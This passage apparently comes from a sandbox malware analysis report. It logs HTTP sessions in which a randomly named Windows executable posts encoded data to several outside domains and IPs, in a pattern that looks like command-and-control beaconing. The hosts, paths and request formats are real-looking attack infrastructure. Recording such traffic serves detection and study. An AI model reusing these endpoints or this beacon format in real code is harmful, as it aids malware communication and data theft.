70 44 33 6b 56 47 36 59 64 6f 64 69 34 72 42 55 70 67 34 7a 57 2f 46 36 55 67 70 4d 35 50 6f 33 56 32 33 78 55 53 5a 4b 76 6a 48 65 62 6c 74 35 71 51 7a 4a 30 73 69 71 61 33 38 49 45 6e 7a 4b 45 52 58 70 4a 49 6a 76 61 76 6c 6b 41 39 59 2f 70 72 6f 2b 61 42 76 6c 4b 48 69 2b 51 55 74 66 56 37 38 35 66 39 33 70 55 73 37 4f 33 63 59 48 2b 39 50 65 75 59 4f 4f 35 72 74 44 4f 61 56 54 55 4b 4f 73 78 73 2b 37 59 70 36 47 31 67 47 48 75 68 64 68 56 6a 4d 57 2f 34 4c 2b 69 31 6a 46 38 58 75 6b 5a 34 42 36 31 61 4c 53 74 65 64 77 4b 4e 70 7a 37 2f 66 6d 56 65 4a 44 49 68 4e 71 70 4b 65 72 38 47 4d 37 5a 64 65 65 58 43 46 42 45 56 4b 42 6d 41 75 79 41 53 55 6b 6e 30 65 77 6f 77 47 6a 39 70 79 30 4c 44 74 4a 2b 55 58 [TRUNCATED] Data Ascii: ej6Le=KQDB9Sh+yavkf0vA8f9VjpGQG3zdcXaI/Zj6cFI3QnJkGGfVh64PQSfy//J1bzW7jL/CGzc0asF8+w7az/JZQVLAv+Hc2pD3kVG6Ydodi4rBUpg4zW/F6UgpM5Po3V23xUSZKvjHeblt5qQzJ0siqa38IEnzKERXpJIjvavlkA9Y/pro+aBvlKHi+QUtfV785f93pUs7O3cYH+9PeuYOO5rtDOaVTUKOsxs+7Yp6G1gGHuhdhVjMW/4L+i1jF8XukZ4B61aLStedwKNpz7/fmVeJDIhNqpKer8GM7ZdeeXCFBEVKBmAuyASUkn0ewowGj9py0LDtJ+UXd0E+Bg6JWeT7aU4XSPMUhVN43pUMbOB8/8LXZDlsTSDycyMu6kOmUtDscAokAgs0kzGHytUsOPENaWXfir0koF1sXbVXJBNmfBvKq0ulJiMuwsAEtV5d48UAP0phfjy9Lyd9KYQXfLA1zgv3yd0KmL0nspR+M8XcDsC8mS/SXDusk4d/F7sPwz6JmuIHVV4XIlTWqBhBtzoFUPt/T9BjRmtbVeLZ9LoRaLXlwbIE2Avo82JD9XjhAtxbsZ93nn8n9gf/9He25hK4WgKmBs9uUddynA5Z9FnY+ekj2+uNxNEdleJV179ZizN35uAcFQnUsbZ2PheuP7hgLm0cpRetvsEnEwDsqa987ZmNygVwHdasGCPlkvIV1v8zKuEgMN+0JVK0NYn8/jlwIpIr/dY8G0mfLK3rMpSI/U9LNJrVKMowwpDXOxfwwAOUxid4XVI3zqnl3OII4/BB8rQCkxtrEYtKJ1Taygkk4JOn20443DumxvWEa/DYHkhRK0FDdTIGWS1NdyS9CTZX4g3ZBWBHdmSxoeopOf1UNVAVurifAsfrYNRPcxqzMKm6ZaEQWtdEYj4zS3P7ZCw2AhqqqpfT7wolL8S2Ow8Fu5aA+reVpDqbhnBwSr7/v+e3vE4YIWoVzI6bqK2tzK5qN6os3nX9tOZmaKvM23tkHZ [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50022	3.33.130.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:35:15.202512026 CEST	514	OUT	GET /8blm/?ej6Le=HSrh+kNg29vzDhmFvPtm7umcbnSkD02Ywpq4W1dSB1gaYliK2tVtZVmlspEFfRCsj7T0RA4zUvJ1xW3xieZGFm3Omt7rhJzIl1qpMMAhzN+EcK1k2mGj+1ZxR4qvhmW1pUGTA/Y=&An=mLdxo2Y8RLRh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Host: www.gegeesthreadworks.info Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 7, 2024 12:35:15.652370930 CEST	413	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 07 Oct 2024 10:35:15 GMT Content-Type: text/html Content-Length: 273 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 65 6a 36 4c 65 3d 48 53 72 68 2b 6b 4e 67 32 39 76 7a 44 68 6d 46 76 50 74 6d 37 75 6d 63 62 6e 53 6b 44 30 32 59 77 70 71 34 57 31 64 53 42 31 67 61 59 6c 69 4b 32 74 56 74 5a 56 6d 6c 73 70 45 46 66 52 43 73 6a 37 54 30 52 41 34 7a 55 76 4a 31 78 57 33 78 69 65 5a 47 46 6d 33 4f 6d 74 37 72 68 4a 7a 49 6c 31 71 70 4d 4d 41 68 7a 4e 2b 45 63 4b 31 6b 32 6d 47 6a 2b 31 5a 78 52 34 71 76 68 6d 57 31 70 55 47 54 41 2f 59 3d 26 41 6e 3d 6d 4c 64 78 6f 32 59 38 52 4c 52 68 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?ej6Le=HSrh+kNg29vzDhmFvPtm7umcbnSkD02Ywpq4W1dSB1gaYliK2tVtZVmlspEFfRCsj7T0RA4zUvJ1xW3xieZGFm3Omt7rhJzIl1qpMMAhzN+EcK1k2mGj+1ZxR4qvhmW1pUGTA/Y=&An=mLdxo2Y8RLRh"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50023	209.74.64.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:35:21.363176107 CEST	763	OUT	POST /dbaa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.sellvolt.life Origin: http://www.sellvolt.life Connection: close Content-Length: 210 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.sellvolt.life/dbaa/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 70 38 65 42 2b 4a 58 4c 2b 71 5a 6f 50 59 48 6f 6e 4f 50 31 4e 66 32 51 4a 56 6a 43 6e 35 54 52 6f 4a 4c 49 51 71 71 6f 75 39 44 78 59 5a 49 4a 6e 71 42 56 78 4c 74 77 48 4e 7a 77 52 6a 42 42 39 6f 51 33 6d 4e 38 54 4a 4f 45 53 52 50 50 79 53 78 62 47 4b 38 34 76 36 76 2b 38 49 65 44 69 69 74 5a 54 34 77 35 37 51 48 6c 69 65 39 47 7a 30 55 6a 61 75 6d 61 65 39 53 62 53 41 58 37 37 4c 30 65 47 47 67 54 77 4c 6c 4c 6d 59 2b 49 69 64 35 32 76 31 4b 73 59 61 4d 55 68 76 6c 4f 50 6f 2f 74 58 42 61 6c 4c 59 48 64 63 55 53 42 77 43 66 53 35 43 78 49 6b 74 37 31 6e 2b 74 5a 62 49 32 39 78 78 59 64 45 46 67 4b 71 Data Ascii: ej6Le=p8eB+JXL+qZoPYHonOP1Nf2QJVjCn5TRoJLIQqqou9DxYZIJnqBVxLtwHNzwRjBB9oQ3mN8TJOESRPPySxbGK84v6v+8IeDiitZT4w57QHlie9Gz0Ujaumae9SbSAX77L0eGGgTwLlLmY+Iid52v1KsYaMUhvlOPo/tXBalLYHdcUSBwCfS5CxIkt71n+tZbI29xxYdEFgKq
Oct 7, 2024 12:35:21.938657999 CEST	533	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 10:35:21 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50024	209.74.64.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:35:23.903409004 CEST	787	OUT	POST /dbaa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.sellvolt.life Origin: http://www.sellvolt.life Connection: close Content-Length: 234 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.sellvolt.life/dbaa/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 70 38 65 42 2b 4a 58 4c 2b 71 5a 6f 50 34 62 6f 6c 75 7a 31 61 50 32 54 4d 56 6a 43 79 70 53 57 6f 4a 48 49 51 72 2b 34 75 6f 54 78 57 62 51 4a 6d 6f 70 56 32 4c 74 77 4e 74 7a 73 50 54 42 49 39 6f 56 49 6d 4a 34 54 4a 4f 51 53 52 4b 4c 79 53 47 6d 51 4c 73 34 70 79 50 2b 2b 4d 65 44 69 69 74 5a 54 34 77 74 64 51 48 39 69 65 4e 57 7a 31 31 6a 46 6a 47 61 42 70 43 62 53 53 6e 37 2f 4c 30 66 6a 47 68 66 4b 4c 68 37 6d 59 2b 59 69 65 6f 32 73 2f 4b 73 43 48 63 55 78 6d 6b 76 66 79 50 6c 4b 41 6f 31 4d 48 55 56 42 56 6b 41 71 65 73 53 61 51 68 6f 6d 74 35 74 56 2b 4e 5a 78 4b 32 46 78 6a 50 52 6a 4b 55 76 4a 64 55 78 77 54 41 76 53 6b 67 63 47 6d 2b 69 6e 6d 57 59 79 68 51 3d 3d Data Ascii: ej6Le=p8eB+JXL+qZoP4boluz1aP2TMVjCypSWoJHIQr+4uoTxWbQJmopV2LtwNtzsPTBI9oVImJ4TJOQSRKLySGmQLs4pyP++MeDiitZT4wtdQH9ieNWz11jFjGaBpCbSSn7/L0fjGhfKLh7mY+Yieo2s/KsCHcUxmkvfyPlKAo1MHUVBVkAqesSaQhomt5tV+NZxK2FxjPRjKUvJdUxwTAvSkgcGm+inmWYyhQ==
Oct 7, 2024 12:35:24.476787090 CEST	533	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 10:35:24 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50025	209.74.64.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:35:26.643429041 CEST	1800	OUT	POST /dbaa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.sellvolt.life Origin: http://www.sellvolt.life Connection: close Content-Length: 1246 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.sellvolt.life/dbaa/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 70 38 65 42 2b 4a 58 4c 2b 71 5a 6f 50 34 62 6f 6c 75 7a 31 61 50 32 54 4d 56 6a 43 79 70 53 57 6f 4a 48 49 51 72 2b 34 75 6f 62 78 57 6f 59 4a 6e 50 31 56 33 4c 74 77 57 74 7a 76 50 54 41 49 39 75 39 45 6d 4d 67 44 4a 4d 6f 53 51 73 33 79 5a 58 6d 51 53 38 34 70 2b 76 2b 39 49 65 44 7a 69 74 70 58 34 77 39 64 51 48 39 69 65 49 61 7a 79 6b 6a 46 77 32 61 65 39 53 62 57 41 58 37 48 4c 30 6e 5a 47 68 4c 61 4c 77 48 6d 5a 61 45 69 53 36 4f 73 69 36 73 63 45 63 56 75 6d 6b 69 46 79 50 6f 6d 41 74 4a 6d 48 57 4a 42 55 78 68 4b 44 2b 6d 4b 4e 79 78 44 73 49 78 50 2b 61 77 42 4d 77 46 32 6d 75 6c 32 41 6d 66 6c 52 6b 68 71 54 78 57 32 68 43 51 70 68 61 7a 2f 73 43 42 38 36 4e 49 41 4e 2f 38 73 4e 4f 43 79 35 2b 34 4f 41 46 59 47 75 7a 59 54 53 47 5a 46 65 76 77 51 61 54 6e 61 6a 45 42 53 65 6a 4b 66 78 57 51 56 69 47 4a 77 6a 33 37 6b 34 4e 68 68 71 78 78 4b 72 58 4e 45 61 32 6f 5a 62 71 36 37 30 77 64 62 41 56 38 56 7a 4b 41 6f 76 47 2b 2f 58 2f 7a 4c 42 4e 78 66 6b 2b 6b 69 6b 4e 42 7a [TRUNCATED] Data Ascii: ej6Le=p8eB+JXL+qZoP4boluz1aP2TMVjCypSWoJHIQr+4uobxWoYJnP1V3LtwWtzvPTAI9u9EmMgDJMoSQs3yZXmQS84p+v+9IeDzitpX4w9dQH9ieIazykjFw2ae9SbWAX7HL0nZGhLaLwHmZaEiS6Osi6scEcVumkiFyPomAtJmHWJBUxhKD+mKNyxDsIxP+awBMwF2mul2AmflRkhqTxW2hCQphaz/sCB86NIAN/8sNOCy5+4OAFYGuzYTSGZFevwQaTnajEBSejKfxWQViGJwj37k4NhhqxxKrXNEa2oZbq670wdbAV8VzKAovG+/X/zLBNxfk+kikNBzDCel7IVA9IjUZ32q0pmXZQt3J43nQf5iHh4mdQZleT2y34O7kZ3etKPZP2eofE3roCUNXovlD/Tp7VKimSDtNqq9eM8zSK5J9FQwP4yviqu019wfA6RkSPdBOBtWe/6k1m0I2MrsdNCilV05zsgyA4ugavHdaaHvVyqE6xj8mfaLDrX6va0XMUi5cIOw6EHG3qFp6YBRCX1QQgkWwsVwaiICtEvvdVtPurHTWEJTcDTbvlY3ElofA8gluIKqFDLOYlEgA3xulwOVXeW8gf0JPN4eErBCvQYfP6HrcJev2u3JnTy9GOE3I40Y5HbE30vLbeOSGS+Zzzdkq9Ektsv72HLw0J8WJqtTWELTm5Er1rHZLfrIfw8TdvcEF9iVZRFefWP34jCGxd/8mUXej2UNykDeRxxN6aFRvC9KIyfR25f2WB43sd33PdfAGdrXMqSWlQuAVgN3Q5TNhBjczIq47hMa8Hw1mR6YKUNzscyz3uj7P8Go/LzMZG9VMLhkF7mIIGotOCYF9WFJiPEl7yMGJf8KFA7D88JB2/SWagYGRzH7rbxXMHkU0B2/LJeBqdvSoHac3LXjs8LATBk/OpGw6Thv1QeKm1BwM3vItCBSop5GfafY6zlxhI9Fs50l03EqRUdGsJxr7I5QyvqmhDUncYoVARZIfck9Xh [TRUNCATED]
Oct 7, 2024 12:35:27.215451956 CEST	533	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 10:35:27 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50026	209.74.64.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:35:29.182535887 CEST	505	OUT	GET /dbaa/?ej6Le=k+2h99XjzdZ+a8Guk9H+DZKAegT3yZPFsem4T4eX/urocpQMmPRl+MIiB7TuMhw38cELxfo4GPEke8/YGnuBTMId45zKJfXr14lU8gtHFAMAaoG54zLZ3lT6+2fSDV7gKgn9GEE=&An=mLdxo2Y8RLRh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Host: www.sellvolt.life Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 7, 2024 12:35:29.758048058 CEST	548	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 10:35:29 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50027	68.178.233.113	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:35:34.905025005 CEST	751	OUT	POST /m1w5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.kk88.live Origin: http://www.kk88.live Connection: close Content-Length: 210 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.kk88.live/m1w5/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 36 70 6b 6e 63 4b 31 55 73 42 34 38 44 69 34 2b 55 42 75 6d 6e 39 51 4b 56 58 34 69 72 4b 34 49 6f 67 45 46 39 77 75 63 2b 6e 78 51 4a 6c 4d 65 6d 48 46 64 35 2b 73 30 78 2b 69 46 73 69 35 4d 6e 6a 47 61 57 78 41 71 6f 50 34 58 53 4f 75 67 54 70 63 4d 42 41 64 45 67 2f 53 66 34 4a 77 79 6a 4b 79 30 56 61 57 7a 65 6a 61 67 38 72 52 5a 50 4f 5a 53 6f 6d 32 4f 53 46 36 55 6c 58 43 37 73 64 70 41 6c 36 31 6f 71 35 59 37 72 6d 66 75 30 59 55 33 78 32 37 50 54 38 51 2b 41 39 42 6a 63 69 66 38 44 38 41 63 67 46 7a 2f 6e 31 4f 58 6c 7a 59 6c 72 6b 69 6f 4f 49 64 38 4b 55 78 47 73 51 44 75 2f 35 4f 78 42 6c 58 45 Data Ascii: ej6Le=6pkncK1UsB48Di4+UBumn9QKVX4irK4IogEF9wuc+nxQJlMemHFd5+s0x+iFsi5MnjGaWxAqoP4XSOugTpcMBAdEg/Sf4JwyjKy0VaWzejag8rRZPOZSom2OSF6UlXC7sdpAl61oq5Y7rmfu0YU3x27PT8Q+A9Bjcif8D8AcgFz/n1OXlzYlrkioOId8KUxGsQDu/5OxBlXE
Oct 7, 2024 12:35:35.797230005 CEST	479	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 10:35:35 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50028	68.178.233.113	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
